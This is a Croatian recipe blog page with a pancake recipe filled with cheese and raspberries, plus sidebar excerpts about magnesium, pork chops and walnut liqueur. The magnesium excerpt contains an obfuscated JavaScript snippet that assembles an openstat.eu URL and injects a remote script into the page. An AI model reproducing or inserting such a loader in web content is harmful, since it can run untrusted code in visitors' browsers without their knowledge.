PALAČINKE S MALINOM I SIROM 🥞





Palačinke s malinom i sirom



Sočan nadjev od sira i malina daje palačinkama bogat okus, a miris će se širiti diljem prostorije.




Palačinke s malinom i sirom 


Sastojci:

  • 2 jaja
  • 300 ml mlijeka
  • 200 ml mineralne vode
  • 250 g glatkog brašna
  • 1 vanilin šećer (po želji)
  • 1 žlica šećera
  • prstohvat soli
  • 2 žlice ulja
  • malo ulja za pečenje

Sastojci za punjenje
  • 350 g svježeg sira
  • 3 žlice šećera u prahu
  • 1 žličica ekstrakta vanilije
  • 250 g malina



Priprema:

U većoj zdjeli umutite jaja, dodajte mlijeko i mineralnu vodu pa sve dobro promiješajte.

Postupno dodajte brašno i miješajte pjenjačom kako biste dobili glatku smjesu bez grudica.

Dodajte šećer, vanilin šećer, sol i ulje pa još jednom kratko promiješajte. Smjesa bi trebala biti dovoljno rijetka da se lako razlijeva po tavi. Ako je pregusta, dodajte još malo mlijeka ili mineralne vode.

Ostavite smjesu da odstoji 10–15 minuta kako bi palačinke bile još mekše i podatnije. Zatim ih specite na malo ulja.

Za nadjev pomiješajte svježi sir, šećer u prahu i vaniliju dok ne dobijete kremastu smjesu.

U prethodno spečene palačinke stavite nadjev od sira pa zatim maline i zarolajte ih.

Slatkoću malina prilagodite vlastitom ukusu. Ako koristite smrznute maline, prethodno ih odmrznite i ocijedite višak tekućine kako nadjev ne bi bio previše vodenast.




Pripremila: Ivana Matas 




Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više